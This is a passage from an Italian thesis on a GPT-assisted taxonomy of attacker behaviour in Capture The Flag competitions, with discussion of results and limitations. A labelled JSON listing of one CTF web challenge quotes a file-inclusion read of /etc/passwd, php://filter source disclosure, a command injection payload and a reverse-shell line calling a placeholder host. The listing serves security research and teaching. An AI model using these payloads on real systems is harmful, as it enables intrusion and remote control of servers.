- **Database and File System Interaction.** L'abilità nell'interagire con database e sistemi di file è essenziale nelle CTF e nella sicurezza informatica. Questa categoria enfatizza l'importanza della navigazione, esplorazione e manipolazione dei database e file system, evidenziando come l'accesso e l'utilizzo efficace delle risorse dati siano critici per scoprire vulnerabilità ed estrarre informazioni chiave.
- **Tool Utilization and Scripting.** L'efficace utilizzo degli strumenti e lo scripting sono essenziali nelle CTF e riflettono la realtà del lavoro nel campo della sicurezza informatica. L'abilità nell'utilizzo di strumenti specializzati e nella creazione di script per automatizzare compiti è una competenza chiave per gli esperti di sicurezza.
- **Knowledge Management and Learning.** L'apprendimento continuo e la capacità di sfruttare le risorse educative online sono cruciali nelle CTF, riflettendo la natura in continua evoluzione del campo della sicurezza informatica. Questo mette in evidenza la necessità di un impegno costante nell'apprendimento e nell'aggiornamento professionale.
- **Challenge and Strategy Management.** La gestione strategica delle sfide e la capacità di sviluppare e documentare strategie di gioco efficaci nelle CTF sono trasferibili nella pianificazione strategica della sicurezza informatica. Questo dimostra l'importanza di un approccio metodico e ben pianificato per affrontare le minacce alla sicurezza.
- **Code Analysis and Debugging.** Infine, l'analisi e il debugging del codice nelle CTF enfatizzano l'importanza della comprensione del codice e dell'identificazione degli errori, che sono competenze fondamentali nella sicurezza informatica, specialmente nel rilevamento e nella prevenzione delle vulnerabilità.

In conclusione, l'analisi approfondita di questa tassonomia rivela come le competenze sviluppate nelle competizioni CTF siano estremamente pertinenti e trasferibili nel campo della sicurezza informatica professionale. Questo sottolinea il valore delle CTF come strumento formativo, non solo come attività competitiva ma anche come preparazione essenziale per affrontare le sfide reali della sicurezza informatica.

## 4.4 Risultati dell'etichettatura dei dati

```

1 {
2   "LabelledModel": {
3     "Steps": [
4       {
5         "StepNumber": 1,
6         "StepString": "Visited the website and got redirected to '/?file=wc.php
7         ↪ '",
8         "Substeps": [
9           {
10            "SubstepNumber": 1.1,
11            "SubstepString": "Visited the website.",
12            "TaxonomyTier1": "Web Interaction and Navigation",
13            "TaxonomyTier2": "Webpage Interaction",
14            "TaxonomyTier3": "Webpage Access"
15          },
16          {
17            "SubstepNumber": 1.2,
18            "SubstepString": "Observed redirection to '/?file=wc.php'.",
19            "TaxonomyTier1": "Web Interaction and Navigation",
20            "TaxonomyTier2": "URL Interaction",
21            "TaxonomyTier3": "URL Navigation Observation and Understanding"
22          }
23        ]
24      },
25      {
26        "StepNumber": 2,
27        "StepString": "Visited '/?file=/etc/passwd' to confirm server-side file
28        ↪ inclusion",
29        "Substeps": [
30          {
31            "SubstepNumber": 2.1,
32            "SubstepString": "Visited '/?file=/etc/passwd'.",
33            "TaxonomyTier1": "Vulnerability and Exploitation Management",
34            "TaxonomyTier2": "Exploitation Techniques and Payload Management
35            ↪ ",
36            "TaxonomyTier3": "Exploitation Payload Execution"
37          },
38          {
39            "SubstepNumber": 2.2,
40            "SubstepString": "Confirmed server-side file inclusion.",
41            "TaxonomyTier1": "Vulnerability and Exploitation Management",
42            "TaxonomyTier2": "Vulnerability Assessment",
43            "TaxonomyTier3": "Vulnerability Identification"
44          }
45        ]
46      },
47      {
48        "StepNumber": 3,
49        "StepString": "Discovered a 'robots.txt' file at '?file=robots.txt'
50        ↪ revealing the existence of 'checkpass.php'",
51        "Substeps": [

```



```

48         {
49             "SubstepNumber": 3.1,
50             "SubstepString": "Discovered 'robots.txt' file at '?file=robots.
→ txt'.",
51             "TaxonomyTier1": "System Profiling and Analysis",
52             "TaxonomyTier2": "System Structure Analysis",
53             "TaxonomyTier3": "File and Directory Discovery"
54         },
55         {
56             "SubstepNumber": 3.2,
57             "SubstepString": "Discovered the existence of 'checkpass.php'.",
58             "TaxonomyTier1": "System Profiling and Analysis",
59             "TaxonomyTier2": "System Structure Analysis",
60             "TaxonomyTier3": "File and Directory Discovery"
61         }
62     ]
63 },
64 {
65     "StepNumber": 4,
66     "StepString": "Visited '?file=checkpass.php' and realized the page
→ contained some secret potentially usable code",
67     "Substeps": [
68         {
69             "SubstepNumber": 4.1,
70             "SubstepString": "Visited '?file=checkpass.php'.",
71             "TaxonomyTier1": "Web Interaction and Navigation",
72             "TaxonomyTier2": "Webpage Interaction",
73             "TaxonomyTier3": "Webpage Access"
74         },
75         {
76             "SubstepNumber": 4.2,
77             "SubstepString": "Realized the page contained some secret
→ potentially usable code.",
78             "TaxonomyTier1": "Code Analysis and Debugging",
79             "TaxonomyTier2": "Debugging Techniques",
80             "TaxonomyTier3": "Code Review and Analysis"
81         }
82     ]
83 },
84 {
85     "StepNumber": 5,
86     "StepString": "Used 'php://filter' to view the source of 'checkpass.php'
→ and discovered the password 'w0rdc0unt123'",
87     "Substeps": [
88         {
89             "SubstepNumber": 5.1,
90             "SubstepString": "Used 'php://filter' to view the source of '
→ checkpass.php'.",
91             "TaxonomyTier1": "Code Analysis and Debugging",
92             "TaxonomyTier2": "Debugging Techniques",
93             "TaxonomyTier3": "Code Review and Analysis"
94         },
95         {
96             "SubstepNumber": 5.2,
97             "SubstepString": "Discovered the password 'w0rdc0unt123'.",
98             "TaxonomyTier1": "Authentication and Authorization Management",
99             "TaxonomyTier2": "Credential Management",
100             "TaxonomyTier3": "Credentials Discovery"
101         }
102     ]
103 },
104 {
105     "StepNumber": 6,
106     "StepString": "Used 'php://filter' again and de-coded base64 strings to
→ see the source code of 'wc.php'",
107     "Substeps": [
108         {

```

```

109         "SubstepNumber": 6.1,
110         "SubstepString": "Used 'php://filter' again.",
111         "TaxonomyTier1": "Code Analysis and Debugging",
112         "TaxonomyTier2": "Debugging Techniques",
113         "TaxonomyTier3": "Code Review and Analysis"
114     },
115     {
116         "SubstepNumber": 6.2,
117         "SubstepString": "Decoded base64 strings to view the source code
118     of 'wc.php'.",
119         "TaxonomyTier1": "Cryptography and Encoding Management",
120         "TaxonomyTier2": "Cryptographic Data Transformation",
121         "TaxonomyTier3": "Data Encoding/Decoding"
122     }
123 ],
124 {
125     "StepNumber": 7,
126     "StepString": "Plugged the password ('w0rdc0unt123') from '$password'
127     variable to the cookie and accessed the webpage",
128     "Substeps": [
129         {
130             "SubstepNumber": 7.1,
131             "SubstepString": "Plugged the password ('w0rdc0unt123') from '
132     $password' variable to the cookie.",
133             "TaxonomyTier1": "Authentication and Authorization Management",
134             "TaxonomyTier2": "Credential Management",
135             "TaxonomyTier3": "Token and Cookie Management"
136         },
137         {
138             "SubstepNumber": 7.2,
139             "SubstepString": "Accessed the webpage.",
140             "TaxonomyTier1": "Web Interaction and Navigation",
141             "TaxonomyTier2": "Webpage Interaction",
142             "TaxonomyTier3": "Webpage Access"
143         }
144     ]
145 },
146 {
147     "StepNumber": 8,
148     "StepString": "Found out that the user input '$text' from get param 'text'
149     ' was passed into 'exec' leading to potential remote code execution",
150     "Substeps": [
151         {
152             "SubstepNumber": 8.1,
153             "SubstepString": "Identified that the user input '$text' from get
154     param 'text' was being used.",
155             "TaxonomyTier1": "Web Interaction and Navigation",
156             "TaxonomyTier2": "Webpage Interaction",
157             "TaxonomyTier3": "Webpage Elements Interaction and Testing"
158         },
159         {
160             "SubstepNumber": 8.2,
161             "SubstepString": "Realized '$text' was passed into 'exec' leading
162     to potential remote code execution.",
163             "TaxonomyTier1": "Vulnerability and Exploitation Management",
164             "TaxonomyTier2": "Exploitation Techniques and Payload Management",
165             "TaxonomyTier3": "Security Policy/Mechanism Bypass"
166         }
167     ]
168 },
169 {
170     "StepNumber": 9,
171     "StepString": "Tried the payload '; ls #'",
172     "Substeps": [

```

```

169         "SubstepNumber": 9.1,
170         "SubstepString": "Input the payload '; ls #'.",
171         "TaxonomyTier1": "Vulnerability and Exploitation Management",
172         "TaxonomyTier2": "Exploitation Techniques and Payload Management
↳ ",
173         "TaxonomyTier3": "Exploitation Payload Execution"
174     }
175 ]
176 },
177 {
178     "StepNumber": 10,
179     "StepString": "Realized 'echo exec(...)' only returns the last line of
↳ the output",
180     "Substeps": [
181         {
182             "SubstepNumber": 10.1,
183             "SubstepString": "Realized 'echo exec(...)' only returns the last
↳ line of the output.",
184             "TaxonomyTier1": "Code Analysis and Debugging",
185             "TaxonomyTier2": "Debugging Techniques",
186             "TaxonomyTier3": "Error Identification and Analysis"
187         }
188     ]
189 },
190 {
191     "StepNumber": 11,
192     "StepString": "Tried to spawn a reverse shell with '; bash -c \"bash -i
↳ >& /dev/tcp/your.server.ip.address/8000 0>&1\" #'",
193     "Substeps": [
194         {
195             "SubstepNumber": 11.1,
196             "SubstepString": "Input the payload to attempt to spawn a reverse
↳ shell.",
197             "TaxonomyTier1": "Vulnerability and Exploitation Management",
198             "TaxonomyTier2": "Exploitation Techniques and Payload Management
↳ ",
199             "TaxonomyTier3": "Exploitation Payload Execution"
200         }
201     ]
202 },
203 {
204     "StepNumber": 12,
205     "StepString": "Used the shell access to browse the file system and found
↳ a folder '/ctf'",
206     "Substeps": [
207         {
208             "SubstepNumber": 12.1,
209             "SubstepString": "Used shell access to browse the file system.",
210             "TaxonomyTier1": "Database and File System Interaction",
211             "TaxonomyTier2": "File System Interaction and Exploration",
212             "TaxonomyTier3": "File System Access and Navigation"
213         },
214         {
215             "SubstepNumber": 12.2,
216             "SubstepString": "Discovered a folder '/ctf'.",
217             "TaxonomyTier1": "Database and File System Interaction",
218             "TaxonomyTier2": "File System Interaction and Exploration",
219             "TaxonomyTier3": "File and Directory Discovery"
220         }
221     ]
222 },
223 {
224     "StepNumber": 13,
225     "StepString": "Identified notable shell script 'findaas' inside '/ctf'",
226     "Substeps": [
227         {
228             "SubstepNumber": 13.1,

```

```

229         "SubstepString": "Identified notable shell script 'findaas'
    ↳ inside '/ctf'.",
230         "TaxonomyTier1": "Database and File System Interaction",
231         "TaxonomyTier2": "File System Interaction and Exploration",
232         "TaxonomyTier3": "File and Directory Discovery"
233     }
234 ]
235 },
236 {
237     "StepNumber": 14,
238     "StepString": "Located 'flag.txt' using './findaas flag.txt'",
239     "Substeps": [
240         {
241             "SubstepNumber": 14.1,
242             "SubstepString": "Executed './findaas flag.txt' command.",
243             "TaxonomyTier1": "Database and File System Interaction",
244             "TaxonomyTier2": "File System Interaction and Exploration",
245             "TaxonomyTier3": "File and Directory Discovery"
246         },
247         {
248             "SubstepNumber": 14.2,
249             "SubstepString": "Located 'flag.txt'.",
250             "TaxonomyTier1": "Data Management",
251             "TaxonomyTier2": "Data Leakage and Extraction",
252             "TaxonomyTier3": "Flag Data Leakage and Extraction"
253         }
254     ]
255 },
256 {
257     "StepNumber": 15,
258     "StepString": "Attempted to read the flag using 'cat ./system/of/a/down/
    ↳ flag.txt' but was denied permission",
259     "Substeps": [
260         {
261             "SubstepNumber": 15.1,
262             "SubstepString": "Attempted to read the flag using 'cat ./system/
    ↳ of/a/down/flag.txt'.",
263             "TaxonomyTier1": "Database and File System Interaction",
264             "TaxonomyTier2": "File System Interaction and Exploration",
265             "TaxonomyTier3": "File System Access and Navigation"
266         },
267         {
268             "SubstepNumber": 15.2,
269             "SubstepString": "Received permission denied error.",
270             "TaxonomyTier1": "Authentication and Authorization Management",
271             "TaxonomyTier2": "Access Control Security",
272             "TaxonomyTier3": "Access Control Mechanism Analysis"
273         }
274     ]
275 },
276 {
277     "StepNumber": 16,
278     "StepString": "Read the 'README' file and found a password hash '6
    ↳ f246c872cbf0b7fd7530b7aa235e67e'",
279     "Substeps": [
280         {
281             "SubstepNumber": 16.1,
282             "SubstepString": "Read the 'README' file.",
283             "TaxonomyTier1": "Database and File System Interaction",
284             "TaxonomyTier2": "File System Interaction and Exploration",
285             "TaxonomyTier3": "File System Access and Navigation"
286         },
287         {
288             "SubstepNumber": 16.2,
289             "SubstepString": "Found a password hash '6
    ↳ f246c872cbf0b7fd7530b7aa235e67e'",
290             "TaxonomyTier1": "Cryptography and Encoding Management",

```

```

291         "TaxonomyTier2": "Cryptographic Analysis and Exploitation",
292         "TaxonomyTier3": "Cryptographic Algorithm/Key Identification and
↳ Analysis"
293     }
294 ]
295 },
296 {
297     "StepNumber": 17,
298     "StepString": "Decoded the password hash to find password 'csictf'",
299     "Substeps": [
300         {
301             "SubstepNumber": 17.1,
302             "SubstepString": "Decoded the password hash.",
303             "TaxonomyTier1": "Cryptography and Encoding Management",
304             "TaxonomyTier2": "Cryptographic Data Transformation",
305             "TaxonomyTier3": "Data Encoding/Decoding"
306         },
307         {
308             "SubstepNumber": 17.2,
309             "SubstepString": "Found password 'csictf'.",
310             "TaxonomyTier1": "Authentication and Authorization Management",
311             "TaxonomyTier2": "Credential Management",
312             "TaxonomyTier3": "Credentials Discovery"
313         }
314     ]
315 },
316 {
317     "StepNumber": 18,
318     "StepString": "Switched to the user 'ctf' using the password 'csictf'",
319     "Substeps": [
320         {
321             "SubstepNumber": 18.1,
322             "SubstepString": "Switched to the user 'ctf'.",
323             "TaxonomyTier1": "Authentication and Authorization Management",
324             "TaxonomyTier2": "Authentication Process Handling",
325             "TaxonomyTier3": "Authentication Process Interaction and Testing"
326         },
327         {
328             "SubstepNumber": 18.2,
329             "SubstepString": "Authenticated using the password 'csictf'.",
330             "TaxonomyTier1": "Authentication and Authorization Management",
331             "TaxonomyTier2": "Credential Management",
332             "TaxonomyTier3": "Credentials Discovery"
333         }
334     ]
335 },
336 {
337     "StepNumber": 19,
338     "StepString": "Printed the flag using 'cat ./system/of/a/down/flag.txt'",
339     "Substeps": [
340         {
341             "SubstepNumber": 19.1,
342             "SubstepString": "Executed 'cat ./system/of/a/down/flag.txt'
↳ command.",
343             "TaxonomyTier1": "Data Management",
344             "TaxonomyTier2": "Data Leakage and Extraction",
345             "TaxonomyTier3": "Flag Data Leakage and Extraction"
346         },
347         {
348             "SubstepNumber": 19.2,
349             "SubstepString": "Printed the flag.",
350             "TaxonomyTier1": "Data Management",
351             "TaxonomyTier2": "Data Analysis",
352             "TaxonomyTier3": "Flag Data Analysis"
353         }
354     ]
355 }

```

```
356 |      ]
357 |    }
358 | }
```

**Listing 4.2:** Risultati Etichettatura (challenge “Body Count”)

## 4.5 Analisi dei risultati dell’etichettatura dei dati

L’analisi approfondita dei risultati ottenuti attraverso l’etichettatura dettagliata delle azioni compiute durante una competizione di Capture The Flag (CTF) rivela importanti implicazioni per il campo della sicurezza informatica e per le competizioni CTF stesse. Esaminando i passaggi specifici e le loro classificazioni tassonomiche, possiamo ottenere una comprensione più profonda delle competenze necessarie e delle strategie impiegate in questi contesti.

- **Analisi del comportamento degli attaccanti.** L’etichettatura dei passaggi mostra come gli attaccanti navigano e interagiscono con applicazioni web, gestiscono i dati e sfruttano le vulnerabilità. Questo fornisce insight preziosi sulle tecniche utilizzate dagli attaccanti, che possono essere utili per sviluppare strategie difensive più efficaci nelle competizioni CTF e in scenari di sicurezza informatica reali.
- **Identificazione di tattiche e tecniche specifiche.** L’etichettatura mette in evidenza tecniche specifiche come l’esecuzione di payload di exploit, la gestione delle credenziali e la scoperta di file e directory. Queste informazioni sono fondamentali per formare i partecipanti alle CTF e i professionisti della sicurezza su come riconoscere, rispondere e mitigare specifiche minacce.
- **Rafforzamento della preparazione alla sicurezza.** L’analisi dettagliata di ogni passaggio e substep aiuta a preparare meglio i partecipanti alle CTF e i professionisti della sicurezza nel riconoscere e reagire a varie situazioni di sicurezza. Essa dimostra l’importanza di un approccio metodico e riflessivo alla risoluzione dei problemi di sicurezza.
- **Implicazioni per la formazione e l’educazione.** Questi dati possono essere utilizzati per sviluppare materiali di formazione e programmi educativi più mirati e efficaci, che coprono aspetti pratici e teorici delle competizioni CTF e della sicurezza informatica. Gli educatori possono utilizzare queste informazioni per creare scenari di simulazione e esercizi che riflettano sfide realistiche.
- **Valutazione delle competenze e delle capacità.** L’etichettatura dettagliata offre una base per valutare le competenze e le capacità dei partecipanti in una competizione CTF. Questo può aiutare gli organizzatori di CTF e i professionisti della sicurezza a identificare aree di forza e di miglioramento, sia a livello individuale che di squadra.

- **Sviluppo di strumenti di analisi dei dati.** L'approccio strutturato all'etichettatura può anche ispirare lo sviluppo di strumenti analitici avanzati che aiutano a decifrare i comportamenti degli attaccanti in tempo reale, fornendo così intuizioni preziose durante le competizioni CTF o in ambienti di sicurezza operativa.

In conclusione, la dettagliata etichettatura e analisi delle azioni nelle competizioni CTF offre una comprensione più profonda delle tattiche e delle tecniche impiegate in tali contesti. Questo non solo migliora l'esperienza e l'apprendimento dei partecipanti nelle CTF, ma fornisce anche intuizioni preziose che possono essere trasferite nel campo più ampio della sicurezza informatica.

## 4.6 Discussione sui risultati

Questa sezione esamina come i risultati ottenuti dallo sviluppo della tassonomia e dell'etichettatura dei dati si allineano o divergono dagli obiettivi iniziali della ricerca.

- **Identificazione e categorizzazione.** La tassonomia sviluppata ha raggiunto con successo l'obiettivo di creare un framework per identificare e categorizzare i comportamenti degli attaccanti nelle CTF. Questo framework ha dimostrato di essere efficace nell'analisi dettagliata delle tecniche e strategie impiegate, confermando l'ipotesi che una tale strutturazione potrebbe fornire una visione olistica e integrata delle competizioni CTF.
- **Contributo educativo.** I risultati confermano l'obiettivo di fornire un contributo educativo. La tassonomia e l'etichettatura dei dati si sono rivelate strumenti didattici preziosi, fornendo basi solide per la formazione in sicurezza informatica e offrendo agli studenti una comprensione pratica delle tecniche di attacco e difesa.
- **Supporto alla ricerca.** I risultati hanno corroborato l'obiettivo di supportare la ricerca nel campo della sicurezza informatica. La tassonomia offre una piattaforma per esplorare le tendenze attuali e emergenti nel comportamento degli attaccanti, contribuendo all'evoluzione delle strategie difensive.
- **Innovazione metodologica.** L'uso di tecnologie avanzate, come NLP e modelli di intelligenza artificiale, per analizzare i dati testuali ha rappresentato un successo metodologico, aprendo nuove frontiere nella ricerca sulla sicurezza informatica. Questo conferma l'ipotesi che tali tecnologie potrebbero essere efficacemente impiegate per l'analisi dei dati complessi.
- **Risorse viventi e flessibili.** I risultati evidenziano il potenziale della tassonomia di evolversi oltre un contesto teorico, suggerendo la sua applicabilità pratica in ambienti dinamici. Questo è in linea con l'obiettivo di sviluppare una risorsa che possa adattarsi alle mutevoli esigenze del panorama della sicurezza informatica.

In conclusione, la ricerca ha confermato la validità degli obiettivi iniziali, dimostrando che la tassonomia sviluppata e l'etichettatura dei dati possono essere strumenti efficaci nell'analisi delle competizioni CTF e nella formazione in sicurezza informatica. I risultati offrono una base solida per future ricerche e applicazioni pratiche nel campo.



## Capitolo 5

# Conclusioni

### 5.1 Riepilogo dei risultati

Il riepilogo dei risultati del presente studio offre una sintesi essenziale delle scoperte principali e dei punti chiave emersi dall'analisi dettagliata condotta. Ecco i punti salienti:

- **Sviluppo di una tassonomia dettagliata.** Il cuore di questa ricerca è stato lo sviluppo di una tassonomia complessa e dettagliata, specificamente progettata per analizzare i comportamenti e le strategie utilizzate nelle competizioni di Capture The Flag (CTF). La tassonomia include una vasta gamma di categorie che coprono aspetti come l'interazione web, l'analisi di rete, la gestione della crittografia, la valutazione delle vulnerabilità e molto altro.
- **Etichettatura metodica dei substep dei writeup.** Attraverso l'applicazione metodica della tassonomia sviluppata, ogni substep di un'ipotetica competizione CTF è stato accuratamente analizzato ed etichettato. Questo ha permesso una comprensione più approfondita delle azioni specifiche degli attaccanti e delle loro tecniche, fornendo insight preziosi per la sicurezza informatica e la formazione nelle competizioni CTF.
- **Confronto con altre tassonomie.** L'analisi comparativa con altre tassonomie riconosciute, come MITRE ATT&CK, MITRE D3FEND e OWASP WSTG, ha messo in luce le specificità e l'unicità della tassonomia CTF sviluppata. Questo confronto ha evidenziato le differenze nei focus, nell'ambito di applicazione e nella struttura dettagliata, dimostrando l'adattabilità e l'applicabilità della tassonomia CTF alle esigenze specifiche delle competizioni CTF e dell'educazione alla sicurezza informatica.

- **Implicazioni per la sicurezza informatica.** L’etichettatura dettagliata e la classificazione delle azioni in una competizione CTF forniscono intuizioni preziose sull’evoluzione delle tecniche di attacco e difesa nel campo della sicurezza informatica. La capacità di comprendere e anticipare le tattiche degli attaccanti può essere trasferita per migliorare le strategie di difesa in scenari reali.
- **Valore educativo e formativo.** I risultati del presente studio hanno un significativo valore educativo, fornendo una base solida per la formazione e l’istruzione nel campo della sicurezza informatica. La tassonomia può essere utilizzata per sviluppare materiali didattici, esercitazioni pratiche e scenari di simulazione che riflettano le reali sfide delle competizioni CTF e delle situazioni di sicurezza.
- **Fondamento per ulteriori ricerche.** Infine, i risultati di questo studio offrono un fondamento solido per ulteriori ricerche nel campo della sicurezza informatica e delle competizioni CTF. Essi aprono la strada a future indagini e sviluppi, sia nell’ambito della tassonomia che nell’applicazione pratica delle conoscenze acquisite.

## 5.2 Limitazioni e potenziali miglioramenti

Riconoscere le limitazioni di un metodo di ricerca è un passo essenziale in qualsiasi indagine scientifica. Questo aspetto, fondamentale per garantire la trasparenza, aiuta a contestualizzare i risultati e stimola ulteriori ricerche per avanzare nel campo di studio.

La qualità e la rappresentatività dei dati sono aspetti critici che influenzano l’accuratezza delle analisi. Dati che non rappresentano adeguatamente l’ambito di studio o che sono incompleti possono portare a risultati fuorvianti. Inoltre, il metodo di ricerca è fortemente condizionato dai dati iniziali dei writeup CTF. Qualsiasi variazione nel dataset può alterare significativamente i risultati e le interpretazioni.

Nonostante le capacità avanzate di GPT, il modello ha le sue limitazioni. La sua efficienza varia in base alla natura del task e alla sua complessità. Problemi come l’interpretazione di contesti complessi o ambigui possono portare a errori nell’etichettatura o nelle analisi. Inoltre, la presenza di supervisione umana rimane essenziale per correggere possibili errori e garantire coerenza nelle etichette assegnate.

La revisione manuale e la validazione delle etichette richiedono una conoscenza approfondita del campo della sicurezza informatica. La mancanza di esperienza o una comprensione insufficiente del contesto possono influenzare negativamente la qualità della revisione. Inoltre, il bias personale durante la revisione manuale può introdurre distorsioni nei risultati.

Per future ricerche e miglioramenti, è possibile esplorare vie per migliorare la raccolta e la qualificazione dei dati, garantendo così una rappresentatività e qualità superiori. L’esplorazione di nuove versioni o alternative a GPT potrebbe migliorare l’efficacia e la

precisione dell'analisi automatica. Inoltre, investire nella formazione e nello sviluppo delle competenze degli utenti coinvolti nella revisione manuale potrebbe ridurre il rischio di errori e bias.

In sintesi, sebbene il metodo attuale fornisca un approccio innovativo allo studio dei comportamenti degli attaccanti nelle competizioni CTF, il riconoscimento delle sue limitazioni aumenta la trasparenza e l'affidabilità del lavoro svolto, aprendo nuove strade per miglioramenti e ricerche future nel campo della sicurezza informatica.

### 5.2.1 Dipendenza dai dati disponibili

La presente ricerca, incentrata sulla raccolta di dati pubblici da piattaforme come GitHub per elaborare una tassonomia delle competizioni CTF, incontra limitazioni significative che incidono sulla generalizzabilità e completezza dei risultati.

#### Limitazioni nella raccolta dei dati

- Dimensione e varietà del dataset. Il dataset, composto da circa 500 writeup e 10.000 substep, potrebbe non riflettere adeguatamente l'intero spettro di strategie e tecniche impiegate nelle competizioni CTF, limitando la diversità delle categorie nella tassonomia sviluppata.
- Focalizzazione su web application security. La limitazione del dataset alla sicurezza delle applicazioni web omette aspetti critici di altre aree come crittografia e reverse engineering, restringendo la portata dei risultati.
- Difficoltà delle challenge. La predominanza di soluzioni per challenge meno complesse potrebbe portare a una rappresentazione non equilibrata di strategie e tecniche, sottovalutando quelle derivanti da sfide più ardue.

#### Limitazioni della tassonomia

- Copertura delle azioni o strategie degli attaccanti. La tassonomia attuale potrebbe non includere tutte le azioni o strategie degli attaccanti, specialmente quelle emergenti in contesti diversi da quelli trattati.
- Dipendenza dal dataset originale. L'ancoraggio del modello al dataset specifico potrebbe precludere la rappresentazione di azioni o tecniche meno frequenti o assenti nei writeup analizzati.
- Rappresentatività. La tassonomia attuale potrebbe non essere pienamente rappresentativa di tutti gli approcci utilizzati nelle competizioni CTF, limitandone l'applicabilità in scenari diversi.

La raccolta di dati da GitHub, sebbene utile, potrebbe non coprire integralmente la varietà delle competizioni CTF. Il processo di sviluppo della tassonomia è inoltre influenzato dai dati disponibili, il che può introdurre bias nei risultati.

Riconoscere e comprendere queste limitazioni è fondamentale per contestualizzare adeguatamente i risultati ottenuti. Queste limitazioni offrono anche importanti spunti per future ricerche, suggerendo la necessità di esplorare dataset più ampi e diversificati e di ampliare la tassonomia per abbracciare un ventaglio più vasto di scenari e tecniche nelle competizioni CTF.

### 5.2.2 Limitazioni legate all'utilizzo di GPT

Nell'ambito della presente ricerca, l'impiego di GPT per l'etichettatura e la generazione della tassonomia nei writeup di CTF ha evidenziato una serie di limitazioni tecniche e intrinseche che necessitano di un'attenta considerazione per garantire la precisione e l'affidabilità dell'analisi.

#### Limitazioni tecniche dell'uso di GPT

- Capacità computazionali e restrizioni delle API. Le limitazioni in termini di potenza computazionale e restrizioni delle API di GPT, come il limite sulla lunghezza del testo o il numero di richieste, possono influenzare negativamente la portata e la profondità dell'analisi.
- Perdita di informazioni durante il processing. Nelle fasi di decomposizione, etichettatura e generazione della tassonomia, è possibile che si verifichi una perdita di informazioni, incidendo sulla precisione dei risultati nelle fasi successive.

#### Limitazioni intrinseche nell'uso di GPT

- Bias e interpretazioni errate. Nonostante le capacità avanzate di GPT, rimane il rischio di bias e interpretazioni errate, che possono compromettere l'accuratezza delle classificazioni.
- Limiti nella generazione della tassonomia. Data la complessità del processo di generazione della tassonomia, GPT può incontrare difficoltà nel riconoscere e organizzare correttamente le categorie di azioni degli attaccanti.
- Errori nell'etichettatura. GPT, pur essendo uno strumento avanzato, non è esente da errori di etichettatura, soprattutto quando il contesto o le istruzioni non sono chiaramente definite.

## Riflessioni ed implicazioni per il futuro

- Riconoscimento delle limitazioni. È cruciale riconoscere che l'uso di GPT porta con sé limitazioni che possono influire sui risultati, richiedendo cautela nell'interpretazione dei dati.
- Necessità di revisioni e controlli manuali. L'integrazione di revisioni manuali e controlli di qualità è essenziale per validare e correggere le etichettature e classificazioni generate da GPT.
- Opportunità per miglioramenti futuri. Le attuali limitazioni di GPT e delle metodologie di elaborazione dati offrono spunti per futuri sviluppi, sia nel perfezionamento del modello che nell'integrazione di metodi di analisi più sofisticati.

In conclusione, benché l'uso di GPT per l'analisi dei writeup CTF fornisca strumenti potenti e innovativi, è fondamentale riconoscere e gestire le sue limitazioni per assicurare un utilizzo responsabile e informato dei risultati. Questo approccio bilanciato e critico pone le basi per ulteriori ricerche e avanzamenti nel campo della sicurezza informatica e delle analisi basate su intelligenza artificiale.

### 5.2.3 Limiti legati all'intervento umano

Questo studio ha identificato alcuni aspetti critici e sfide associate all'intervento umano nella revisione e convalida delle etichettature generate da GPT, ponendo in evidenza le implicazioni di tali limitazioni e proponendo strategie per mitigarle.

#### Impatto dell'esperienza del revisore

- Competenza in sicurezza web. La precisione nel rilevare e correggere errori nelle etichettature di GPT dipende notevolmente dalla competenza del revisore nel campo della sicurezza web. Un professionista esperto ha la capacità di discernere sfumature e contesti che possono essere trascurati da un AI o da un revisore meno qualificato.
- Efficienza in confronto a GPT. In alcune circostanze, un esperto di sicurezza può superare GPT in termini di efficacia nell'etichettatura, specialmente quando si tratta di identificare aspetti tecnici complessi o variazioni sottili nelle strategie di attacco.

#### Sfide inerenti alla revisione manuale

- Consistenza ed obiettività. La revisione manuale può essere soggetta a variazioni individuali, come differenze nell'interpretazione e bias personali, che possono incidere sulla coerenza e obiettività del processo.

- Scalabilità ed efficienza. La revisione manuale, meno scalabile rispetto all'automazione di GPT, può risultare più lenta, soprattutto in progetti con grandi quantità di dati, dove l'efficienza è cruciale.

### **Strategie per ottimizzare la revisione**

- Equilibrio tra automazione e intervento umano. È fondamentale stabilire un equilibrio tra le capacità di elaborazione automatica di GPT e la revisione umana, per assicurare accuratezza e affidabilità.
- Formazione e linee guida per i revisori. Fornire formazione adeguata e linee guida chiare ai revisori è vitale per ridurre discrepanze e bias, migliorando coerenza e obiettività.
- Validazione incrociata e collaborazione. L'impiego di più revisori e la validazione incrociata possono attenuare le limitazioni individuali e rafforzare l'affidabilità del processo di revisione.

In conclusione, la revisione manuale delle etichettature effettuate da GPT, sebbene cruciale, presenta sfide legate alla competenza del revisore e alla natura soggettiva del processo. Un approccio combinato, che integri l'automazione di GPT con una rigorosa revisione umana, può incrementare significativamente l'accuratezza e la rilevanza dei dati etichettati, fornendo un'analisi più affidabile e di maggiore utilità nel contesto della sicurezza informatica.

### **5.2.4 Suggerimenti per miglioramenti futuri**

La presente ricerca ha identificato diverse aree di miglioramento che potrebbero significativamente potenziare la comprensione e l'analisi dei comportamenti degli attaccanti nelle competizioni di Capture The Flag (CTF). Queste aree di intervento, se perseguite, prometterebbero di arricchire i risultati futuri e di estendere l'impatto e la rilevanza del lavoro corrente.

#### **Ampliamento e diversificazione del campione di dati**

- Integrazione di diverse fonti. Ampliare la raccolta dei dati includendo fonti variegata, come sfide CTF più complesse e tematiche specifiche quali crittografia e reverse engineering, arricchirà il dataset, migliorandone rappresentatività e varietà.
- Focus su challenge avanzate. L'inclusione di soluzioni a challenge di maggiore complessità offrirà insight più approfonditi sulle tecniche e strategie avanzate degli attaccanti.

### **Evoluzione ed affinamento della tassonomia**

- Sviluppo di categorie specifiche. Il perfezionamento della tassonomia, con l'aggiunta di livelli più dettagliati, consentirà una categorizzazione più precisa delle azioni degli attaccanti.
- Adattamento dinamico della tassonomia. Aggiornare la tassonomia continuamente per riflettere le nuove strategie e tecniche emergenti nel campo della sicurezza informatica.

### **Ottimizzazione dell'etichettatura e del processo di revisione**

- Coinvolgimento di esperti qualificati. L'impiego di professionisti esperti nel settore della sicurezza informatica garantirà una maggiore accuratezza nella generazione della tassonomia e nel processo di etichettatura.
- Automatizzazione delle revisioni. Esaminare l'utilizzo di modelli AI, come GPT, per automatizzare le revisioni, con un sistema di controllo incrociato per minimizzare errori.

### **Metodologie innovative nell'elaborazione dei dati**

- Approcci diversificati di elaborazione. Testare metodologie alternative di elaborazione dei dati, come l'impiego di tecniche di machine learning e analisi statistica avanzata.
